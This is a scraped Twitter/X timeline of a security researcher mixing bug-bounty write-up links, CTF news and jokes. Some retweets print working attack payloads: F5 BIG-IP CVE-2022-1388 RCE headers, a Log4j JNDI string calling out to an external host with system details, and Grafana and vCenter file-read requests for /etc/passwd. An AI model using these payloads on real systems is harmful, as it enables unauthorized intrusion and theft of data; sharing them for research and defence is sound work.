Mahmoud Barakat

Student in the morning, Hacker at night. Opinions are my own.

[Mahmoud Barakat @0xBarakat]

Write-up about my last submission in Facebook:

Broken session management leads to bypass 2FA and Permanent access to Facebook user’s https://t.co/rU9hS2QZI1 #bugbounty #facebook #CyberSecurity #bughunting

[Mahmoud Barakat @0xBarakat]

@OmarRamadan101 @MostafaNageeb ليك عزومة عند بلبن بمناسبة انه فتح عندنا فرع جديد 🤣🤣🤣

[Flipper Devices @flipper_net]

DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS DOLPHINS

[mandatory.bsky.social @IAmMandatory]

New blog post: Image Stacks and iPhone Racks - Building an Internet Scale Meme Search Engine https://t.co/XGfs2RFV6L

[PortSwigger Research @PortSwiggerRes]

Making HTTP header injection critical via response queue poisoning, by @albinowax

https://t.co/GPvsO1XlBX

[Jas502n @jas502n]

#CVE-2022-1388 F5's BIG-IP Unauth RCE

Connection: keep-alive, X-F5-Auth-Token
Authorization: Basic YWRtaW46
X-F5-Auth-Token: anything

https://x.x.x.x:443/mgmt/tm/util/bash

[Elon Musk @elonmusk]

Next I’m buying Coca-Cola to put the cocaine back in

[Positive Security @positive_sec]

Microsoft Teams: 1 feature, 4 vulnerabilities

We stumbled upon several vulnerabilities in Team's link preview feature, out of which MS only fixed one so far.

https://t.co/AAd4eKbxnH

[Patrik Grobshäuser @ITSecurityguard]

trying to test every header of a website for #log4j? Use BurpSuite and the Pitchfork attack in the Intruder and set both payloads to the header values:

${jndi:ldap://${hostName}.§§.${sys:java.version}.cb.io}

now you know the vuln header :)

#bugbounty
#bugbountytips

[John Hammond @_JohnHammond]

aaaaand then code execution?? #log4j #minecraft

[Jas502n @jas502n]

#LOG4J2-3201

https://t.co/phflmujPva

https://t.co/DT7gH7Rapc

[Nicolas Krassas @Dinosn]

Seems like grafana's new LFI is at grafana-clock-panel plugin with a GET request, /public/plugins/grafana-clock-panel/../../../../../../../etc/passwd

[RIVER @wugeej]

VMware vCenter unauthorized arbitrary file read

PoC working to Earlier versions (7.0.2.00100)

[PoC]
curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"

https://t.co/Uah4ucgtAT

[the_storm @the_st0rm]

I honestly think @r3billions is one of the best CTF teams in the middle east. This is great! but this is also an opportunity to be one of the best in the world :) Don't miss that opportunity ;)

[الاتحاد السعودي للأمن السيبراني والبرمجة والدرونز @SAFCSP]

مقتطفات من كلمة معالي المستشار تركي آل الشيخ وتكريمه للفائزين في تحديات #AtHack

[Ahmed Sultan 🇪🇬🇵🇸 @0x4148]

"Egypt" r0cks
Great job @r3billions, the 1st place winner at the AtHack CTF competition.
#AtHack

[Black Hat MEA @Blackhatmea]

NEWS JUST IN: R3billions wins first place at #athackcon’s Capture the Flag! 🚩🙌

A huge thank you to all contestants! With teams from Saudi Arabia, the UAE, Poland, the USA and more - this truly has been EPIC.

[John Hammond @_JohnHammond]

🚨 BLACK FRIDAY SPECIAL 🚨
Today and today only, you can find all of my free education and content, online FOR FREE! After today's sale, everything will return to normal asking price: $0.00! 😱

[Harsh Bothra @harshbothra_]

#Learn365 Day-325: Android App Hacking Workshop

Resource: https://t.co/QuS8hGHoL3

[Nicolas Krassas @Dinosn]

FBI: FatPipe VPN Zero-Day Exploited by APT for 6 Months https://t.co/NfkeaTqSSM

[Nuclei by ProjectDiscovery @pdnuclei]

Nuclei Template for CVE-2021-22205 - GitLab CE/EE Unauthenticated RCE using ExifTool

Template: https://t.co/ELvga2mXyI

#bugbounty #pentest #hackwithautomation #gitlab